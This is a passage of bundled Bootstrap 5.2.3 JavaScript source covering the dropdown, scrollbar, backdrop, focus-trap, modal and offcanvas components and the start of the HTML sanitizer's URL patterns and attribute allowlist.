Popper if we have a static display or Dropdown is in Navbar\n if (this._inNavbar || this._config.display === 'static') {\n Manipulator.setDataAttribute(this._menu, 'popper', 'static') // todo:v6 remove\n defaultBsPopperConfig.modifiers = [{\n name: 'applyStyles',\n enabled: false\n }]\n }\n\n return {\n ...defaultBsPopperConfig,\n ...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)\n }\n }\n\n _selectMenuItem({ key, target }) {\n const items = SelectorEngine.find(SELECTOR_VISIBLE_ITEMS, this._menu).filter(element => isVisible(element))\n\n if (!items.length) {\n return\n }\n\n // if target isn't included in items (e.g. when expanding the dropdown)\n // allow cycling to get the last item in case key equals ARROW_UP_KEY\n getNextActiveElement(items, target, key === ARROW_DOWN_KEY, !items.includes(target)).focus()\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Dropdown.getOrCreateInstance(this, config)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n })\n }\n\n static clearMenus(event) {\n if (event.button === RIGHT_MOUSE_BUTTON || (event.type === 'keyup' && event.key !== TAB_KEY)) {\n return\n }\n\n const openToggles = SelectorEngine.find(SELECTOR_DATA_TOGGLE_SHOWN)\n\n for (const toggle of openToggles) {\n const context = Dropdown.getInstance(toggle)\n if (!context || context._config.autoClose === false) {\n continue\n }\n\n const composedPath = event.composedPath()\n const isMenuTarget = composedPath.includes(context._menu)\n if (\n composedPath.includes(context._element) ||\n (context._config.autoClose === 'inside' && !isMenuTarget) ||\n (context._config.autoClose === 'outside' && isMenuTarget)\n ) {\n continue\n }\n\n // Tab navigation through the dropdown menu or events from contained inputs shouldn't close the menu\n if (context._menu.contains(event.target) && ((event.type === 'keyup' && event.key === TAB_KEY) || /input|select|option|textarea|form/i.test(event.target.tagName))) {\n continue\n }\n\n const relatedTarget = { relatedTarget: context._element }\n\n if (event.type === 'click') {\n relatedTarget.clickEvent = event\n }\n\n context._completeHide(relatedTarget)\n }\n }\n\n static dataApiKeydownHandler(event) {\n // If not an UP | DOWN | ESCAPE key => not a dropdown command\n // If input/textarea && if key is other than ESCAPE => not a dropdown command\n\n const isInput = /input|textarea/i.test(event.target.tagName)\n const isEscapeEvent = event.key === ESCAPE_KEY\n const isUpOrDownEvent = [ARROW_UP_KEY, ARROW_DOWN_KEY].includes(event.key)\n\n if (!isUpOrDownEvent && !isEscapeEvent) {\n return\n }\n\n if (isInput && !isEscapeEvent) {\n return\n }\n\n event.preventDefault()\n\n // todo: v6 revert #37011 & change markup https://getbootstrap.com/docs/5.2/forms/input-group/\n const getToggleButton = this.matches(SELECTOR_DATA_TOGGLE) ?\n this :\n (SelectorEngine.prev(this, SELECTOR_DATA_TOGGLE)[0] ||\n SelectorEngine.next(this, SELECTOR_DATA_TOGGLE)[0] ||\n SelectorEngine.findOne(SELECTOR_DATA_TOGGLE, event.delegateTarget.parentNode))\n\n const instance = Dropdown.getOrCreateInstance(getToggleButton)\n\n if (isUpOrDownEvent) {\n event.stopPropagation()\n instance.show()\n instance._selectMenuItem(event)\n return\n }\n\n if (instance._isShown()) { // else is escape and we check if it is shown\n event.stopPropagation()\n instance.hide()\n getToggleButton.focus()\n }\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE, Dropdown.dataApiKeydownHandler)\nEventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown.dataApiKeydownHandler)\nEventHandler.on(document, EVENT_CLICK_DATA_API, Dropdown.clearMenus)\nEventHandler.on(document, EVENT_KEYUP_DATA_API, Dropdown.clearMenus)\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n event.preventDefault()\n Dropdown.getOrCreateInstance(this).toggle()\n})\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Dropdown)\n\nexport default Dropdown\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/scrollBar.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport SelectorEngine from '../dom/selector-engine'\nimport Manipulator from '../dom/manipulator'\nimport { isElement } from './index'\n\n/**\n * Constants\n */\n\nconst SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top'\nconst SELECTOR_STICKY_CONTENT = '.sticky-top'\nconst PROPERTY_PADDING = 'padding-right'\nconst PROPERTY_MARGIN = 'margin-right'\n\n/**\n * Class definition\n */\n\nclass ScrollBarHelper {\n constructor() {\n this._element = document.body\n }\n\n // Public\n getWidth() {\n // https://developer.mozilla.org/en-US/docs/Web/API/Window/innerWidth#usage_notes\n const documentWidth = document.documentElement.clientWidth\n return Math.abs(window.innerWidth - documentWidth)\n }\n\n hide() {\n const width = this.getWidth()\n this._disableOverFlow()\n // give padding to element to balance the hidden scrollbar width\n this._setElementAttributes(this._element, PROPERTY_PADDING, calculatedValue => calculatedValue + width)\n // trick: We adjust positive paddingRight and negative marginRight to sticky-top elements to keep showing fullwidth\n this._setElementAttributes(SELECTOR_FIXED_CONTENT, PROPERTY_PADDING, calculatedValue => calculatedValue + width)\n this._setElementAttributes(SELECTOR_STICKY_CONTENT, PROPERTY_MARGIN, calculatedValue => calculatedValue - width)\n }\n\n reset() {\n this._resetElementAttributes(this._element, 'overflow')\n this._resetElementAttributes(this._element, PROPERTY_PADDING)\n this._resetElementAttributes(SELECTOR_FIXED_CONTENT, PROPERTY_PADDING)\n this._resetElementAttributes(SELECTOR_STICKY_CONTENT, PROPERTY_MARGIN)\n }\n\n isOverflowing() {\n return this.getWidth() > 0\n }\n\n // Private\n _disableOverFlow() {\n this._saveInitialAttribute(this._element, 'overflow')\n this._element.style.overflow = 'hidden'\n }\n\n _setElementAttributes(selector, styleProperty, callback) {\n const scrollbarWidth = this.getWidth()\n const manipulationCallBack = element => {\n if (element !== this._element && window.innerWidth > element.clientWidth + scrollbarWidth) {\n return\n }\n\n this._saveInitialAttribute(element, styleProperty)\n const calculatedValue = window.getComputedStyle(element).getPropertyValue(styleProperty)\n element.style.setProperty(styleProperty, `${callback(Number.parseFloat(calculatedValue))}px`)\n }\n\n this._applyManipulationCallback(selector, manipulationCallBack)\n }\n\n _saveInitialAttribute(element, styleProperty) {\n const actualValue = element.style.getPropertyValue(styleProperty)\n if (actualValue) {\n Manipulator.setDataAttribute(element, styleProperty, actualValue)\n }\n }\n\n _resetElementAttributes(selector, styleProperty) {\n const manipulationCallBack = element => {\n const value = Manipulator.getDataAttribute(element, styleProperty)\n // We only want to remove the property if the value is `null`; the value can also be zero\n if (value === null) {\n element.style.removeProperty(styleProperty)\n return\n }\n\n Manipulator.removeDataAttribute(element, styleProperty)\n element.style.setProperty(styleProperty, value)\n }\n\n this._applyManipulationCallback(selector, manipulationCallBack)\n }\n\n _applyManipulationCallback(selector, callBack) {\n if (isElement(selector)) {\n callBack(selector)\n return\n }\n\n for (const sel of SelectorEngine.find(selector, this._element)) {\n callBack(sel)\n }\n }\n}\n\nexport default ScrollBarHelper\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/backdrop.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport EventHandler from '../dom/event-handler'\nimport { execute, executeAfterTransition, getElement, reflow } from './index'\nimport Config from './config'\n\n/**\n * Constants\n */\n\nconst NAME = 'backdrop'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\nconst EVENT_MOUSEDOWN = `mousedown.bs.${NAME}`\n\nconst Default = {\n className: 'modal-backdrop',\n clickCallback: null,\n isAnimated: false,\n isVisible: true, // if false, we use the backdrop helper without adding any element to the dom\n rootElement: 'body' // give the choice to place backdrop under different elements\n}\n\nconst DefaultType = {\n className: 'string',\n clickCallback: '(function|null)',\n isAnimated: 'boolean',\n isVisible: 'boolean',\n rootElement: '(element|string)'\n}\n\n/**\n * Class definition\n */\n\nclass Backdrop extends Config {\n constructor(config) {\n super()\n this._config = this._getConfig(config)\n this._isAppended = false\n this._element = null\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n show(callback) {\n if (!this._config.isVisible) {\n execute(callback)\n return\n }\n\n this._append()\n\n const element = this._getElement()\n if (this._config.isAnimated) {\n reflow(element)\n }\n\n element.classList.add(CLASS_NAME_SHOW)\n\n this._emulateAnimation(() => {\n execute(callback)\n })\n }\n\n hide(callback) {\n if (!this._config.isVisible) {\n execute(callback)\n return\n }\n\n this._getElement().classList.remove(CLASS_NAME_SHOW)\n\n this._emulateAnimation(() => {\n this.dispose()\n execute(callback)\n })\n }\n\n dispose() {\n if (!this._isAppended) {\n return\n }\n\n EventHandler.off(this._element, EVENT_MOUSEDOWN)\n\n this._element.remove()\n this._isAppended = false\n }\n\n // Private\n _getElement() {\n if (!this._element) {\n const backdrop = document.createElement('div')\n backdrop.className = this._config.className\n if (this._config.isAnimated) {\n backdrop.classList.add(CLASS_NAME_FADE)\n }\n\n this._element = backdrop\n }\n\n return this._element\n }\n\n _configAfterMerge(config) {\n // use getElement() with the default \"body\" to get a fresh Element on each instantiation\n config.rootElement = getElement(config.rootElement)\n return config\n }\n\n _append() {\n if (this._isAppended) {\n return\n }\n\n const element = this._getElement()\n this._config.rootElement.append(element)\n\n EventHandler.on(element, EVENT_MOUSEDOWN, () => {\n execute(this._config.clickCallback)\n })\n\n this._isAppended = true\n }\n\n _emulateAnimation(callback) {\n executeAfterTransition(callback, this._getElement(), this._config.isAnimated)\n }\n}\n\nexport default Backdrop\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/focustrap.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport EventHandler from '../dom/event-handler'\nimport SelectorEngine from '../dom/selector-engine'\nimport Config from './config'\n\n/**\n * Constants\n */\n\nconst NAME = 'focustrap'\nconst DATA_KEY = 'bs.focustrap'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst EVENT_FOCUSIN = `focusin${EVENT_KEY}`\nconst EVENT_KEYDOWN_TAB = `keydown.tab${EVENT_KEY}`\n\nconst TAB_KEY = 'Tab'\nconst TAB_NAV_FORWARD = 'forward'\nconst TAB_NAV_BACKWARD = 'backward'\n\nconst Default = {\n autofocus: true,\n trapElement: null // The element to trap focus inside of\n}\n\nconst DefaultType = {\n autofocus: 'boolean',\n trapElement: 'element'\n}\n\n/**\n * Class definition\n */\n\nclass FocusTrap extends Config {\n constructor(config) {\n super()\n this._config = this._getConfig(config)\n this._isActive = false\n this._lastTabNavDirection = null\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n activate() {\n if (this._isActive) {\n return\n }\n\n if (this._config.autofocus) {\n this._config.trapElement.focus()\n }\n\n EventHandler.off(document, EVENT_KEY) // guard against infinite focus loop\n EventHandler.on(document, EVENT_FOCUSIN, event => this._handleFocusin(event))\n EventHandler.on(document, EVENT_KEYDOWN_TAB, event => this._handleKeydown(event))\n\n this._isActive = true\n }\n\n deactivate() {\n if (!this._isActive) {\n return\n }\n\n this._isActive = false\n EventHandler.off(document, EVENT_KEY)\n }\n\n // Private\n _handleFocusin(event) {\n const { trapElement } = this._config\n\n if (event.target === document || event.target === trapElement || trapElement.contains(event.target)) {\n return\n }\n\n const elements = SelectorEngine.focusableChildren(trapElement)\n\n if (elements.length === 0) {\n trapElement.focus()\n } else if (this._lastTabNavDirection === TAB_NAV_BACKWARD) {\n elements[elements.length - 1].focus()\n } else {\n elements[0].focus()\n }\n }\n\n _handleKeydown(event) {\n if (event.key !== TAB_KEY) {\n return\n }\n\n this._lastTabNavDirection = event.shiftKey ? TAB_NAV_BACKWARD : TAB_NAV_FORWARD\n }\n}\n\nexport default FocusTrap\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin, getElementFromSelector, isRTL, isVisible, reflow } from './util/index'\nimport EventHandler from './dom/event-handler'\nimport SelectorEngine from './dom/selector-engine'\nimport ScrollBarHelper from './util/scrollbar'\nimport BaseComponent from './base-component'\nimport Backdrop from './util/backdrop'\nimport FocusTrap from './util/focustrap'\nimport { enableDismissTrigger } from './util/component-functions'\n\n/**\n * Constants\n */\n\nconst NAME = 'modal'\nconst DATA_KEY = 'bs.modal'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst ESCAPE_KEY = 'Escape'\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_RESIZE = `resize${EVENT_KEY}`\nconst EVENT_CLICK_DISMISS = `click.dismiss${EVENT_KEY}`\nconst EVENT_MOUSEDOWN_DISMISS = `mousedown.dismiss${EVENT_KEY}`\nconst EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_OPEN = 'modal-open'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_STATIC = 'modal-static'\n\nconst OPEN_SELECTOR = '.modal.show'\nconst SELECTOR_DIALOG = '.modal-dialog'\nconst SELECTOR_MODAL_BODY = '.modal-body'\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"modal\"]'\n\nconst Default = {\n backdrop: true,\n focus: true,\n keyboard: true\n}\n\nconst DefaultType = {\n backdrop: '(boolean|string)',\n focus: 'boolean',\n keyboard: 'boolean'\n}\n\n/**\n * Class definition\n */\n\nclass Modal extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n this._dialog = SelectorEngine.findOne(SELECTOR_DIALOG, this._element)\n this._backdrop = this._initializeBackDrop()\n this._focustrap = this._initializeFocusTrap()\n this._isShown = false\n this._isTransitioning = false\n this._scrollBar = new ScrollBarHelper()\n\n this._addEventListeners()\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isShown || this._isTransitioning) {\n return\n }\n\n const showEvent = EventHandler.trigger(this._element, EVENT_SHOW, {\n relatedTarget\n })\n\n if (showEvent.defaultPrevented) {\n return\n }\n\n this._isShown = true\n this._isTransitioning = true\n\n this._scrollBar.hide()\n\n document.body.classList.add(CLASS_NAME_OPEN)\n\n this._adjustDialog()\n\n this._backdrop.show(() => this._showElement(relatedTarget))\n }\n\n hide() {\n if (!this._isShown || this._isTransitioning) {\n return\n }\n\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE)\n\n if (hideEvent.defaultPrevented) {\n return\n }\n\n this._isShown = false\n this._isTransitioning = true\n this._focustrap.deactivate()\n\n this._element.classList.remove(CLASS_NAME_SHOW)\n\n this._queueCallback(() => this._hideModal(), this._element, this._isAnimated())\n }\n\n dispose() {\n for (const htmlElement of [window, this._dialog]) {\n EventHandler.off(htmlElement, EVENT_KEY)\n }\n\n this._backdrop.dispose()\n this._focustrap.deactivate()\n super.dispose()\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n _initializeBackDrop() {\n return new Backdrop({\n isVisible: Boolean(this._config.backdrop), // 'static' option will be translated to true, and booleans will keep their value,\n isAnimated: this._isAnimated()\n })\n }\n\n _initializeFocusTrap() {\n return new FocusTrap({\n trapElement: this._element\n })\n }\n\n _showElement(relatedTarget) {\n // try to append dynamic modal\n if (!document.body.contains(this._element)) {\n document.body.append(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.setAttribute('aria-modal', true)\n this._element.setAttribute('role', 'dialog')\n this._element.scrollTop = 0\n\n const modalBody = SelectorEngine.findOne(SELECTOR_MODAL_BODY, this._dialog)\n if (modalBody) {\n modalBody.scrollTop = 0\n }\n\n reflow(this._element)\n\n this._element.classList.add(CLASS_NAME_SHOW)\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._focustrap.activate()\n }\n\n this._isTransitioning = false\n EventHandler.trigger(this._element, EVENT_SHOWN, {\n relatedTarget\n })\n }\n\n this._queueCallback(transitionComplete, this._dialog, this._isAnimated())\n }\n\n _addEventListeners() {\n EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS, event => {\n if (event.key !== ESCAPE_KEY) {\n return\n }\n\n if (this._config.keyboard) {\n event.preventDefault()\n this.hide()\n return\n }\n\n this._triggerBackdropTransition()\n })\n\n EventHandler.on(window, EVENT_RESIZE, () => {\n if (this._isShown && !this._isTransitioning) {\n this._adjustDialog()\n }\n })\n\n EventHandler.on(this._element, EVENT_MOUSEDOWN_DISMISS, event => {\n // a bad trick to segregate clicks that may start inside dialog but end outside, and avoid listen to scrollbar clicks\n EventHandler.one(this._element, EVENT_CLICK_DISMISS, event2 => {\n if (this._element !== event.target || this._element !== event2.target) {\n return\n }\n\n if (this._config.backdrop === 'static') {\n this._triggerBackdropTransition()\n return\n }\n\n if (this._config.backdrop) {\n this.hide()\n }\n })\n })\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._element.removeAttribute('aria-modal')\n this._element.removeAttribute('role')\n this._isTransitioning = false\n\n this._backdrop.hide(() => {\n document.body.classList.remove(CLASS_NAME_OPEN)\n this._resetAdjustments()\n this._scrollBar.reset()\n EventHandler.trigger(this._element, EVENT_HIDDEN)\n })\n }\n\n _isAnimated() {\n return this._element.classList.contains(CLASS_NAME_FADE)\n }\n\n _triggerBackdropTransition() {\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED)\n if (hideEvent.defaultPrevented) {\n return\n }\n\n const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight\n const initialOverflowY = this._element.style.overflowY\n // return if the following background transition hasn't yet completed\n if (initialOverflowY === 'hidden' || this._element.classList.contains(CLASS_NAME_STATIC)) {\n return\n }\n\n if (!isModalOverflowing) {\n this._element.style.overflowY = 'hidden'\n }\n\n this._element.classList.add(CLASS_NAME_STATIC)\n this._queueCallback(() => {\n this._element.classList.remove(CLASS_NAME_STATIC)\n this._queueCallback(() => {\n this._element.style.overflowY = initialOverflowY\n }, this._dialog)\n }, this._dialog)\n\n this._element.focus()\n }\n\n /**\n * The following methods are used to handle overflowing modals\n */\n\n _adjustDialog() {\n const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight\n const scrollbarWidth = this._scrollBar.getWidth()\n const isBodyOverflowing = scrollbarWidth > 0\n\n if (isBodyOverflowing && !isModalOverflowing) {\n const property = isRTL() ? 'paddingLeft' : 'paddingRight'\n this._element.style[property] = `${scrollbarWidth}px`\n }\n\n if (!isBodyOverflowing && isModalOverflowing) {\n const property = isRTL() ? 'paddingRight' : 'paddingLeft'\n this._element.style[property] = `${scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n // Static\n static jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n const data = Modal.getOrCreateInstance(this, config)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config](relatedTarget)\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n const target = getElementFromSelector(this)\n\n if (['A', 'AREA'].includes(this.tagName)) {\n event.preventDefault()\n }\n\n EventHandler.one(target, EVENT_SHOW, showEvent => {\n if (showEvent.defaultPrevented) {\n // only register focus restorer if modal will actually get shown\n return\n }\n\n EventHandler.one(target, EVENT_HIDDEN, () => {\n if (isVisible(this)) {\n this.focus()\n }\n })\n })\n\n // avoid conflict when clicking modal toggler while another one is open\n const alreadyOpen = SelectorEngine.findOne(OPEN_SELECTOR)\n if (alreadyOpen) {\n Modal.getInstance(alreadyOpen).hide()\n }\n\n const data = Modal.getOrCreateInstance(target)\n\n data.toggle(this)\n})\n\nenableDismissTrigger(Modal)\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Modal)\n\nexport default Modal\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): offcanvas.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n getElementFromSelector,\n isDisabled,\n isVisible\n} from './util/index'\nimport ScrollBarHelper from './util/scrollbar'\nimport EventHandler from './dom/event-handler'\nimport BaseComponent from './base-component'\nimport SelectorEngine from './dom/selector-engine'\nimport Backdrop from './util/backdrop'\nimport FocusTrap from './util/focustrap'\nimport { enableDismissTrigger } from './util/component-functions'\n\n/**\n * Constants\n */\n\nconst NAME = 'offcanvas'\nconst DATA_KEY = 'bs.offcanvas'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\nconst ESCAPE_KEY = 'Escape'\n\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_SHOWING = 'showing'\nconst CLASS_NAME_HIDING = 'hiding'\nconst CLASS_NAME_BACKDROP = 'offcanvas-backdrop'\nconst OPEN_SELECTOR = '.offcanvas.show'\n\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_RESIZE = `resize${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY}`\n\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"offcanvas\"]'\n\nconst Default = {\n backdrop: true,\n keyboard: true,\n scroll: false\n}\n\nconst DefaultType = {\n backdrop: '(boolean|string)',\n keyboard: 'boolean',\n scroll: 'boolean'\n}\n\n/**\n * Class definition\n */\n\nclass Offcanvas extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n this._isShown = false\n this._backdrop = this._initializeBackDrop()\n this._focustrap = this._initializeFocusTrap()\n this._addEventListeners()\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isShown) {\n return\n }\n\n const showEvent = EventHandler.trigger(this._element, EVENT_SHOW, { relatedTarget })\n\n if (showEvent.defaultPrevented) {\n return\n }\n\n this._isShown = true\n this._backdrop.show()\n\n if (!this._config.scroll) {\n new ScrollBarHelper().hide()\n }\n\n this._element.setAttribute('aria-modal', true)\n this._element.setAttribute('role', 'dialog')\n this._element.classList.add(CLASS_NAME_SHOWING)\n\n const completeCallBack = () => {\n if (!this._config.scroll || this._config.backdrop) {\n this._focustrap.activate()\n }\n\n this._element.classList.add(CLASS_NAME_SHOW)\n this._element.classList.remove(CLASS_NAME_SHOWING)\n EventHandler.trigger(this._element, EVENT_SHOWN, { relatedTarget })\n }\n\n this._queueCallback(completeCallBack, this._element, true)\n }\n\n hide() {\n if (!this._isShown) {\n return\n }\n\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE)\n\n if (hideEvent.defaultPrevented) {\n return\n }\n\n this._focustrap.deactivate()\n this._element.blur()\n this._isShown = false\n this._element.classList.add(CLASS_NAME_HIDING)\n this._backdrop.hide()\n\n const completeCallback = () => {\n this._element.classList.remove(CLASS_NAME_SHOW, CLASS_NAME_HIDING)\n this._element.removeAttribute('aria-modal')\n this._element.removeAttribute('role')\n\n if (!this._config.scroll) {\n new ScrollBarHelper().reset()\n }\n\n EventHandler.trigger(this._element, EVENT_HIDDEN)\n }\n\n this._queueCallback(completeCallback, this._element, true)\n }\n\n dispose() {\n this._backdrop.dispose()\n this._focustrap.deactivate()\n super.dispose()\n }\n\n // Private\n _initializeBackDrop() {\n const clickCallback = () => {\n if (this._config.backdrop === 'static') {\n EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED)\n return\n }\n\n this.hide()\n }\n\n // 'static' option will be translated to true, and booleans will keep their value\n const isVisible = Boolean(this._config.backdrop)\n\n return new Backdrop({\n className: CLASS_NAME_BACKDROP,\n isVisible,\n isAnimated: true,\n rootElement: this._element.parentNode,\n clickCallback: isVisible ? clickCallback : null\n })\n }\n\n _initializeFocusTrap() {\n return new FocusTrap({\n trapElement: this._element\n })\n }\n\n _addEventListeners() {\n EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS, event => {\n if (event.key !== ESCAPE_KEY) {\n return\n }\n\n if (!this._config.keyboard) {\n EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED)\n return\n }\n\n this.hide()\n })\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Offcanvas.getOrCreateInstance(this, config)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config](this)\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n const target = getElementFromSelector(this)\n\n if (['A', 'AREA'].includes(this.tagName)) {\n event.preventDefault()\n }\n\n if (isDisabled(this)) {\n return\n }\n\n EventHandler.one(target, EVENT_HIDDEN, () => {\n // focus on trigger when it is closed\n if (isVisible(this)) {\n this.focus()\n }\n })\n\n // avoid conflict when clicking a toggler of an offcanvas, while another is open\n const alreadyOpen = SelectorEngine.findOne(OPEN_SELECTOR)\n if (alreadyOpen && alreadyOpen !== target) {\n Offcanvas.getInstance(alreadyOpen).hide()\n }\n\n const data = Offcanvas.getOrCreateInstance(target)\n data.toggle(this)\n})\n\nEventHandler.on(window, EVENT_LOAD_DATA_API, () => {\n for (const selector of SelectorEngine.find(OPEN_SELECTOR)) {\n Offcanvas.getOrCreateInstance(selector).show()\n }\n})\n\nEventHandler.on(window, EVENT_RESIZE, () => {\n for (const element of SelectorEngine.find('[aria-modal][class*=show][class*=offcanvas-]')) {\n if (getComputedStyle(element).position !== 'fixed') {\n Offcanvas.getOrCreateInstance(element).hide()\n }\n }\n})\n\nenableDismissTrigger(Offcanvas)\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Offcanvas)\n\nexport default Offcanvas\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/sanitizer.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst uriAttributes = new Set([\n 'background',\n 'cite',\n 'href',\n 'itemtype',\n 'longdesc',\n 'poster',\n 'src',\n 'xlink:href'\n])\n\nconst ARIA_ATTRIBUTE_PATTERN = /^aria-[\\w-]*$/i\n\n/**\n * A pattern that recognizes a commonly useful subset of URLs that are safe.\n *\n * Shout-out to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i\n\n/**\n * A pattern that matches safe data URLs. Only matches image, video and audio types.\n *\n * Shout-out to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst DATA_URL_PATTERN = /^data:(?:image\\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\\/(?:mpeg|mp4|ogg|webm)|audio\\/(?:mp3|oga|ogg|opus));base64,[\\d+/a-z]+=*$/i\n\nconst allowedAttribute = (attribute, allowedAttributeList) => {\n const attributeName = attribute.nodeName.toLowerCase()\n\n if (allowedAttributeList.includes(attributeName)) {\n if (uriAttributes.has(attributeName)) {\n return Boolean(SAFE_URL_PATTERN.test(attribute.nodeValue) || DATA_URL_PATTERN.test(attribute.nodeValue))\n }\n\n return true\n }\n\n // Check if a regular expression validates the attribute.\n return allowedAttributeList.filter(attributeRegex => attributeRegex instanceof RegExp)\n .some(regex => regex.test(attributeName))\n}\n\nexport const DefaultAllowlist = {\n // Global attributes allowed on any supplied element below.\n '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],\n a: ['target', 'href', 'title', 'rel'],\n area: [],\n b: [],\n br: [],\n col: [],\n code: [],\n div: [],\n em: [],\n hr: [],\n h1: [],\n h2: [],\n h3: [],\n h4: [],\n h5: [],\n h6: [],\n i: [],\n img: ['src', 'srcset', 'alt', 'title', 'width', 